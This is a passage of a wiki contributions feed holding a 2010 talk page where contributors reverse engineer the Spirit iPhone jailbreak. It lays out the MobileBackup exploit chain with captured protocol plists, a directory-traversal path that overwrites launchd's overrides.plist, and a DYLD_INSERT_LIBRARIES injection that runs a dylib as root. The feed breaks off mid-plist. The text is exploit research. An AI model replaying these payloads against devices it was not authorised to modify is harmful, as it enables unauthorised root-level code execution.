<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://www.theiphonewiki.com/w/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=EnohpiDesrever</id>
	<title>The iPhone Wiki - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://www.theiphonewiki.com/w/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=EnohpiDesrever"/>
	<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/wiki/Special:Contributions/EnohpiDesrever"/>
	<updated>2026-05-25T07:01:35Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.31.14</generator>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Talk:Spirit&amp;diff=6408</id>
		<title>Talk:Spirit</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Talk:Spirit&amp;diff=6408"/>
		<updated>2010-05-18T16:14:50Z</updated>

		<summary type="html">&lt;p&gt;EnohpiDesrever: /* More Reversings */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;There exists also a tool called [[Spirit Fixer|Spirit Fixer v1.01]], written by [[Kirma]]. Anybody knows what that is? Here's a link: http://twitter.com/elior231/status/13296125900&lt;br /&gt;
&lt;br /&gt;
--[[User:Http|http]] 21:42, 4 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I'd love to see a technical writeup of everything, although I don't blame you if you don't. I'm lazy about those things too. As far as trying to keep it secret from Apple, I don't feel theres a point, they'll find it no matter what we do.&lt;br /&gt;
&lt;br /&gt;
--[[User:Geohot|geohot]] 14:02, 5 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I have started reverse engineering Spirit and making some UML(like) data flow and function diagrams. The problem is that I am guessing at too many things since I did not wana post anything and have someone get pissed it was out there. I am up for putting a formal brief together if others want to collaborate. I would imagine as Geohot said, that apple had this disassembled before the .tar was dry. Not to mention that they are not just looking for the exploit that was used (since they most likely had a whiteboard full of potentials during design) , they are looking for copyright violations and their stollen code in every bit of its bits.  &lt;br /&gt;
&lt;br /&gt;
--KodeSlinger 16:31, 5 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
Meh, as mentioned on spiritjb.com, once Apple has shown that they've fixed it, the source will be released anyway. - MuscleNerd&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
@MuscleNerd - I started working on it BS (Before Spirit :) ), to create a centralized location that dynamically maps (HW/FW/SW) physical and logical drawings together. My thought was something like this wiki on crack. Ideally to generate functional diagrams of the idevice that act as a starting point to link to more detailed sections pertaining to that functions exploits, related functions, and source code samples(or any other data). Since I am new to this community I have been trying to organize this data for my own brain, and thought others might use it. I will post some screen shots later. The more organized we are the easier it will be to exploit the next vulnerability. &lt;br /&gt;
--[[User:Viper911h|KodeSlinger]] 20:11, 5 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
Oh hah, cool :)  If you do that though, obviously you shouldn't go overboard and start publicly discussing variations of this that would help Apple close other holes yet to be exploited (it sounds like your well-versed enough to do that!) - MuscleNerd&lt;br /&gt;
&lt;br /&gt;
@MuscleNerd - Hah; yeah obviously cool kidz only lol --[[User:Viper911h|KodeSlinger]] 21:08, 5 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
== Reversing Spirit ==&lt;br /&gt;
&lt;br /&gt;
I just started reversing Spirit and thought I'd share what I learned so far in hopes of hearing more from others.&lt;br /&gt;
&lt;br /&gt;
Spirit.exe extracts a bunch of files into a temp directory as follows:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
+ Documents and Settings/&amp;lt;User&amp;gt;/Local Settings/spiritxxx&lt;br /&gt;
|&lt;br /&gt;
+ - dl&lt;br /&gt;
|   |&lt;br /&gt;
|   + - dl.exe&lt;br /&gt;
|&lt;br /&gt;
+ - igor&lt;br /&gt;
|   |&lt;br /&gt;
|   + - 2dcde0a77381d24b7c02ac0cf7f714434c4ccdcf.dylib&lt;br /&gt;
|   + - 3e404d11fcbd5486d3be2dd86ce21316e1854842.dylib&lt;br /&gt;
|   + - 74227c0021c5e12effb5bd3175eb469a8df0622e.dylib&lt;br /&gt;
|   + - b735701843456754988021d128c2671ee36d1b04.dylib&lt;br /&gt;
|   + - f6c17e934ba0ad477812de0b7cb019396d259d93.dylib&lt;br /&gt;
|   + - install&lt;br /&gt;
|   + - map.plist&lt;br /&gt;
|&lt;br /&gt;
+ - resources&lt;br /&gt;
    |&lt;br /&gt;
    + - 320x480.jpg&lt;br /&gt;
    + - 1024x768.jpg&lt;br /&gt;
    + - overrides.plist&lt;br /&gt;
    + - icon.ico&lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Spirit.exe is simply a GUI wrapper for dl.exe, which does the heavy lifting and is written using the cross-platform library CoreFoundation.dll.  Dl.exe uses the iTunes DLL to get access to the iDevice, registering a callback function through AMDeviceNotificationSubscribe.  The callback function launches a thread, which uploads 4 files as follows:&lt;br /&gt;
&lt;br /&gt;
# One of the dylibs (depending on the iDevice version?) is uploaded as /var/mobile/Media/spirit/one.dylib&lt;br /&gt;
# The Mach-O ARM executable &amp;quot;install&amp;quot; is uploaded as /var/mobile/Media/spirit/install&lt;br /&gt;
# The Spirit.exe is uploaded as /var/mobile/Media/spirit/freeze.tar.xz&lt;br /&gt;
# One of the jpgs is uploaded as /var/mobile/Media/spirit/bg.jpg&lt;br /&gt;
&lt;br /&gt;
After the files are uploaded, the upload thread signals to the main thread that the files are ready.  The main thread then sends over two plists (shown at the end of the log below) via MobileBackup.&lt;br /&gt;
&lt;br /&gt;
As I've only just started looking at this, and I'm also new to the iPhone scene, I have lots of questions.&lt;br /&gt;
&lt;br /&gt;
# Is the MobileBackup interface documented anywhere?  Was it used in other jb tools before Spirit?&lt;br /&gt;
# Why is Spirit.exe uploaded to the iDevice as freeze.tar.xz?&lt;br /&gt;
# What purpose do map.plist and overrides.plist serve?&lt;br /&gt;
# What are the two plists sent at the end of the transfer, and how do they allow the &amp;quot;install&amp;quot; image to be executed?&lt;br /&gt;
# What does install do to provide an untethered solution?&lt;br /&gt;
&lt;br /&gt;
I'll post more as I learn, but it would be nice to hear if others have made more progress.&lt;br /&gt;
&lt;br /&gt;
-[[User:EnohpiDesrever|EnohpiDesrever]] 16:47, 14 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
# Don't think it's documented.&lt;br /&gt;
# Actually, freeze.tar.xz is tacked on to Spirit.exe, after the string 'magicmagicmagicm'.  xz is http://tukaani.org/xz/&lt;br /&gt;
# One maps firmware version to the dylib that should be uploaded.  The other is read by launchd.&lt;br /&gt;
# Just look at the contents of overrides.plist and the launchd source.  The nefarious part is actually getting that file in the appropriate directory.  (Note that overrides is only used for the initial install, because launchd spawns everything at once and the following solution ensures the exploit is run first.)&lt;br /&gt;
# By installing itself as /usr/lib/libgmalloc.dylib.  To quote saurik: &amp;quot;if you touch the file /var/db/.launchd_use_gmalloc, then the first thing launchd does is set DYLD_INSERT_LIBRARIES to /usr/lib/libgmalloc.dylib and restart itself&amp;quot;&lt;br /&gt;
&lt;br /&gt;
--[[User:Comex|Comex]] 22:54, 14 May 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
== More Reversings ==&lt;br /&gt;
&lt;br /&gt;
Thanks for your response, Comex, and thanks for the jailbreak!  Hope you don't mind me posting what I learn here.  I figure that Apple's got to be way ahead of my progress if they care at all to fix the vulnerability.  I have some more questions for you, if you don't mind, based on the MobileBackup dialogue I found in Spirit (see below).&lt;br /&gt;
&lt;br /&gt;
# What type of encoding is used to encode the overrides file that is uploaded?  Ah...looks like Base64.&lt;br /&gt;
# How is /tmp/stuff.1273860295 used to touch launchd_use_gmalloc?&lt;br /&gt;
# Is the crazy directory traversal (Library/Preferences/SystemConfiguration/../../../../../) necessary to circumvent security or just an artifact?  Ah...just saw [[MobileBackup_Copy_Exploit]]&lt;br /&gt;
&lt;br /&gt;
So, let me see if I understand the vulnerabilities that you are exploiting.  You found a way to override the environment variable DYLD_INSERT_LIBRARIES via MobileBackup to point to your own library (/var/mobile/Media/spirit/one.dylib).  You then installed your own patched version of /usr/lib/libgmalloc.dylib, which gets loaded everytime the device boots up and launchd is executed.&lt;br /&gt;
&lt;br /&gt;
Below is the MobileBackup dialogue I extracted.&lt;br /&gt;
&lt;br /&gt;
==== plist 0 - Version Exchange ====&lt;br /&gt;
&lt;br /&gt;
Transmitted:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE plist PUBLIC &amp;quot;-//Apple//DTD PLIST 1.0//EN&amp;quot; &amp;quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;plist version=&amp;quot;1.0&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;array&amp;gt;&lt;br /&gt;
	&amp;lt;string&amp;gt;DLMessageVersionExchange&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;string&amp;gt;DLVersionsOk&amp;lt;/string&amp;gt;&lt;br /&gt;
&amp;lt;/array&amp;gt;&lt;br /&gt;
&amp;lt;/plist&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Response:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;CFArray 00F72AE0 [100B4070]&amp;gt;{&lt;br /&gt;
        type = immutable, count = 3, values = (&lt;br /&gt;
                0 : &amp;lt;CFString 00F72A70 [100B4070]&amp;gt;{contents = &amp;quot;DLMessageVersionExchange&amp;quot; }&lt;br /&gt;
                1 : &amp;lt;CFNumber 00F80F08 [100B4070]&amp;gt;{value = +100, type = kCFNumberSInt64Type}&lt;br /&gt;
                2 : &amp;lt;CFNumber 00F72AB8 [100B4070]&amp;gt;{value = +0, type = kCFNumberSInt32Type}&lt;br /&gt;
        )&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== plist 1 - Restore Request ====&lt;br /&gt;
Transmitted:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE plist PUBLIC &amp;quot;-//Apple//DTD PLIST 1.0//EN&amp;quot; &amp;quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;plist version=&amp;quot;1.0&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;array&amp;gt;&lt;br /&gt;
	&amp;lt;string&amp;gt;DLMessageProcessMessage&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;dict&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;BackupManifestKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;dict&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;AuthSignature&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;data&amp;gt;&lt;br /&gt;
			7ZSsx9DFT5h7/4rkU1uJJebKwbc=&lt;br /&gt;
			&amp;lt;/data&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;AuthVersion&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;2.0&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;Data&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;data&amp;gt;&lt;br /&gt;
			PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4K&lt;br /&gt;
			PCFET0NUWVBFIHBsaXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQ&lt;br /&gt;
			TElTVCAxLjAvL0VOIiAiaHR0cDovL3d3dy5hcHBsZS5jb20vRFRE&lt;br /&gt;
			cy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJzaW9u&lt;br /&gt;
			PSIxLjAiPgo8ZGljdD4KCTxrZXk+QXBwbGljYXRpb25zPC9rZXk+&lt;br /&gt;
			Cgk8ZGljdC8+Cgk8a2V5PkRldmljZUlkPC9rZXk+Cgk8c3RyaW5n&lt;br /&gt;
			PmYzNjQ3OGI3OTUzYzZhZWFkMTlmOGYzMTZhZmIzYzBmNDg2YWMz&lt;br /&gt;
			OWI8L3N0cmluZz4KCTxrZXk+RmlsZXM8L2tleT4KCTxkaWN0PgoJ&lt;br /&gt;
			CTxrZXk+NjYxZjVhMTYyMTk1ODhjNmU4NDY3MzVjNjYzZmJlMzFl&lt;br /&gt;
			NWY4NGRhNTwva2V5PgoJCTxkaWN0PgoJCQk8a2V5PkRhdGFIYXNo&lt;br /&gt;
			PC9rZXk+CgkJCTxkYXRhPgoJCQlxZytPdnJUWXM0T1oxQjdZTFJS&lt;br /&gt;
			WURFbE82bDg9CgkJCTwvZGF0YT4KCQkJPGtleT5Eb21haW48L2tl&lt;br /&gt;
			eT4KCQkJPHN0cmluZz5Ib21lRG9tYWluPC9zdHJpbmc+CgkJCTxr&lt;br /&gt;
			ZXk+RmlsZUxlbmd0aDwva2V5PgoJCQk8aW50ZWdlcj45MjI8L2lu&lt;br /&gt;
			dGVnZXI+CgkJCTxrZXk+R3JvdXAgSUQ8L2tleT4KCQkJPGludGVn&lt;br /&gt;
			ZXI+MDwvaW50ZWdlcj4KCQkJPGtleT5Nb2RlPC9rZXk+CgkJCTxp&lt;br /&gt;
			bnRlZ2VyPjM4NDwvaW50ZWdlcj4KCQkJPGtleT5Nb2RpZmljYXRp&lt;br /&gt;
			b25UaW1lPC9rZXk+CgkJCTxkYXRlPjIwNjUtMDEtMTVUMTk6MDk6&lt;br /&gt;
			NDZaPC9kYXRlPgoJCQk8a2V5PlVzZXIgSUQ8L2tleT4KCQkJPGlu&lt;br /&gt;
			dGVnZXI+MDwvaW50ZWdlcj4KCQk8L2RpY3Q+CgkJPGtleT5iYTdl&lt;br /&gt;
			NDM1MzRjZDVhOThkZTA4MGU2MTQxYmVhZjVkYzAwNGFkMjM3PC9r&lt;br /&gt;
			ZXk+CgkJPGRpY3Q+CgkJCTxrZXk+RGF0YUhhc2g8L2tleT4KCQkJ&lt;br /&gt;
			PGRhdGE+CgkJCW1TWGRRNGlLZWQ3SFMvS3IyRWNPSFE0TEliST0K&lt;br /&gt;
			CQkJPC9kYXRhPgoJCQk8a2V5PkRvbWFpbjwva2V5PgoJCQk8c3Ry&lt;br /&gt;
			aW5nPkhvbWVEb21haW48L3N0cmluZz4KCQkJPGtleT5GaWxlTGVu&lt;br /&gt;
			Z3RoPC9rZXk+CgkJCTxpbnRlZ2VyPjA8L2ludGVnZXI+CgkJCTxr&lt;br /&gt;
			ZXk+R3JvdXAgSUQ8L2tleT4KCQkJPGludGVnZXI+MDwvaW50ZWdl&lt;br /&gt;
			cj4KCQkJPGtleT5Nb2RlPC9rZXk+CgkJCTxpbnRlZ2VyPjM4NDwv&lt;br /&gt;
			aW50ZWdlcj4KCQkJPGtleT5Nb2RpZmljYXRpb25UaW1lPC9rZXk+&lt;br /&gt;
			CgkJCTxkYXRlPjIwNjUtMDEtMTVUMTk6MDk6NDZaPC9kYXRlPgoJ&lt;br /&gt;
			CQk8a2V5PlVzZXIgSUQ8L2tleT4KCQkJPGludGVnZXI+MDwvaW50&lt;br /&gt;
			ZWdlcj4KCQk8L2RpY3Q+Cgk8L2RpY3Q+Cgk8a2V5PlZlcnNpb248&lt;br /&gt;
			L2tleT4KCTxzdHJpbmc+Ni4yPC9zdHJpbmc+CjwvZGljdD4KPC9w&lt;br /&gt;
			bGlzdD4K&lt;br /&gt;
			&amp;lt;/data&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;IsEncrypted&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;/dict&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;BackupMessageTypeKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;kBackupMessageRestoreRequest&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;BackupNotifySpringBoard&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;true/&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;BackupPreserveCameraRoll&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;true/&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;BackupProtocolVersion&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;3.0&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;/dict&amp;gt;&lt;br /&gt;
&amp;lt;/array&amp;gt;&lt;br /&gt;
&amp;lt;/plist&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Transmitted Data Chunk (Decoded as Base64):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE plist PUBLIC &amp;quot;-//Apple//DTD PLIST 1.0//EN&amp;quot; &amp;quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;plist version=&amp;quot;1.0&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;dict&amp;gt;&lt;br /&gt;
	&amp;lt;key&amp;gt;Applications&amp;lt;/key&amp;gt;&lt;br /&gt;
	&amp;lt;dict/&amp;gt;&lt;br /&gt;
	&amp;lt;key&amp;gt;DeviceId&amp;lt;/key&amp;gt;&lt;br /&gt;
	&amp;lt;string&amp;gt;f36478b7953c6aead19f8f316afb3c0f486ac39b&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;key&amp;gt;Files&amp;lt;/key&amp;gt;&lt;br /&gt;
	&amp;lt;dict&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;661f5a16219588c6e846735c663fbe31e5f84da5&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;dict&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;DataHash&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;data&amp;gt;&lt;br /&gt;
			qg+OvrTYs4OZ1B7YLRRYDElO6l8=&lt;br /&gt;
			&amp;lt;/data&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;Domain&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;HomeDomain&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;FileLength&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;integer&amp;gt;922&amp;lt;/integer&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;Group ID&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;Mode&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;integer&amp;gt;384&amp;lt;/integer&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;ModificationTime&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;date&amp;gt;2065-01-15T19:09:46Z&amp;lt;/date&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;User ID&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;/dict&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;ba7e43534cd5a98de080e6141beaf5dc004ad237&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;dict&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;DataHash&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;data&amp;gt;&lt;br /&gt;
			mSXdQ4iKed7HS/Kr2EcOHQ4LIbI=&lt;br /&gt;
			&amp;lt;/data&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;Domain&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;HomeDomain&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;FileLength&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;Group ID&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;Mode&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;integer&amp;gt;384&amp;lt;/integer&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;ModificationTime&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;date&amp;gt;2065-01-15T19:09:46Z&amp;lt;/date&amp;gt;&lt;br /&gt;
			&amp;lt;key&amp;gt;User ID&amp;lt;/key&amp;gt;&lt;br /&gt;
			&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;/dict&amp;gt;&lt;br /&gt;
	&amp;lt;/dict&amp;gt;&lt;br /&gt;
	&amp;lt;key&amp;gt;Version&amp;lt;/key&amp;gt;&lt;br /&gt;
	&amp;lt;string&amp;gt;6.2&amp;lt;/string&amp;gt;&lt;br /&gt;
&amp;lt;/dict&amp;gt;&lt;br /&gt;
&amp;lt;/plist&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Response:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;CFArray 00F7BFB0 [100B4070]&amp;gt;{&lt;br /&gt;
        type = immutable, count = 1, values = (&lt;br /&gt;
                0 : &amp;lt;CFString 00F7BF78 [100B4070]&amp;gt;{contents = &amp;quot;DLMessageDeviceReady&amp;quot;}&lt;br /&gt;
        )&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== plist 2 - Upload Overrides ====&lt;br /&gt;
Transmitted:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE plist PUBLIC &amp;quot;-//Apple//DTD PLIST 1.0//EN&amp;quot; &amp;quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;plist version=&amp;quot;1.0&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;array&amp;gt;&lt;br /&gt;
	&amp;lt;string&amp;gt;DLSendFile&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;data&amp;gt;&lt;br /&gt;
	PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHBs&lt;br /&gt;
	aXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQTElTVCAxLjAvL0VOIiAiaHR0cDovL3d3&lt;br /&gt;
	dy5hcHBsZS5jb20vRFREcy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJz&lt;br /&gt;
	aW9uPSIxLjAiPgo8ZGljdD4KICAgIDxrZXk+Y29tLmFwcGxlLlNwcmluZ0JvYXJkPC9r&lt;br /&gt;
	ZXk+CiAgICA8ZGljdD4KICAgICAgICA8a2V5PkRpc2FibGVkPC9rZXk+CiAgICAgICAg&lt;br /&gt;
	PHRydWUvPgogICAgPC9kaWN0PgoKICAgIDxrZXk+Y29tLmFwcGxlLnRjcGR1bXAuc2Vy&lt;br /&gt;
	dmVyPC9rZXk+CiAgICA8ZGljdD4KICAgICAgICA8a2V5PktlZXBBbGl2ZTwva2V5Pgog&lt;br /&gt;
	ICAgICAgIDx0cnVlLz4KICAgICAgICA8a2V5PkxhYmVsPC9rZXk+CiAgICAgICAgPHN0&lt;br /&gt;
	cmluZz5jb20uYXBwbGUudGNwZHVtcC5zZXJ2ZXI8L3N0cmluZz4KICAgICAgICA8a2V5&lt;br /&gt;
	PlByb2dyYW1Bcmd1bWVudHM8L2tleT4KICAgICAgICA8YXJyYXk+CiAgICAgICAgICAg&lt;br /&gt;
	IDxzdHJpbmc+L3NiaW4vbGF1bmNoZDwvc3RyaW5nPgogICAgICAgIDwvYXJyYXk+CiAg&lt;br /&gt;
	ICAgICAgPGtleT5SdW5BdExvYWQ8L2tleT4KICAgICAgICA8dHJ1ZS8+CiAgICAgICAg&lt;br /&gt;
	PGtleT5MYXVuY2hPbmx5T25jZTwva2V5PgogICAgICAgIDx0cnVlLz4KICAgICAgICA8&lt;br /&gt;
	a2V5PlVzZXJOYW1lPC9rZXk+CiAgICAgICAgPHN0cmluZz5yb290PC9zdHJpbmc+CiAg&lt;br /&gt;
	ICAgICAgPGtleT5FbnZpcm9ubWVudFZhcmlhYmxlczwva2V5PgogICAgICAgIDxkaWN0&lt;br /&gt;
	PgogICAgICAgICAgICA8a2V5PkRZTERfSU5TRVJUX0xJQlJBUklFUzwva2V5PgogICAg&lt;br /&gt;
	ICAgICAgICA8c3RyaW5nPi92YXIvbW9iaWxlL01lZGlhL3NwaXJpdC9vbmUuZHlsaWI8&lt;br /&gt;
	L3N0cmluZz4KICAgICAgICA8L2RpY3Q+CiAgICA8L2RpY3Q+CjwvZGljdD4KPC9wbGlz&lt;br /&gt;
	dD4KCg==&lt;br /&gt;
	&amp;lt;/data&amp;gt;&lt;br /&gt;
	&amp;lt;dict&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileAttributesKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;dict/&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileDest&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;/tmp/stuff.1273860294&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileIsEncrypted&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileOffsetKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileSource&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;/tmp/stuff.1273860294&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;DLFileStatusKey&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;integer&amp;gt;2&amp;lt;/integer&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;Path&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;Library/Preferences/SystemConfiguration/../../../../../var/db/launchd.db/com.apple.launchd/overrides.plist&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;key&amp;gt;Version&amp;lt;/key&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;3.0&amp;lt;/string&amp;gt;&lt;br /&gt;
	&amp;lt;/dict&amp;gt;&lt;br /&gt;
&amp;lt;/array&amp;gt;&lt;br /&gt;
&amp;lt;/plist&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Transmitted Data Chunk (Decoded as Base64):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE plist PUBLIC &amp;quot;-//Apple//DTD PLIST 1.0//EN&amp;quot; &amp;quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;plist version=&amp;quot;1.0&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;dict&amp;gt;&lt;br /&gt;
    &amp;lt;key&amp;gt;com.apple.SpringBoard&amp;lt;/key&amp;gt;&lt;br /&gt;
    &amp;lt;dict&amp;gt;&lt;br /&gt;
        &amp;lt;key&amp;gt;Disabled&amp;lt;/key&amp;gt;&lt;br /&gt;
        &amp;lt;true/&amp;gt;&lt;br /&gt;
    &amp;lt;/dict&amp;gt;&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;key&amp;gt;com.apple.tcpdump.server&amp;lt;/key&amp;gt;&lt;br /&gt;
    &amp;lt;dict&amp;gt;&lt;br /&gt;
        &amp;lt;key&amp;gt;KeepAlive&amp;lt;/key&amp;gt;&lt;br /&gt;
        &amp;lt;true/&amp;gt;&lt;br /&gt;
        &amp;lt;key&amp;gt;Label&amp;lt;/key&amp;gt;&lt;br /&gt;
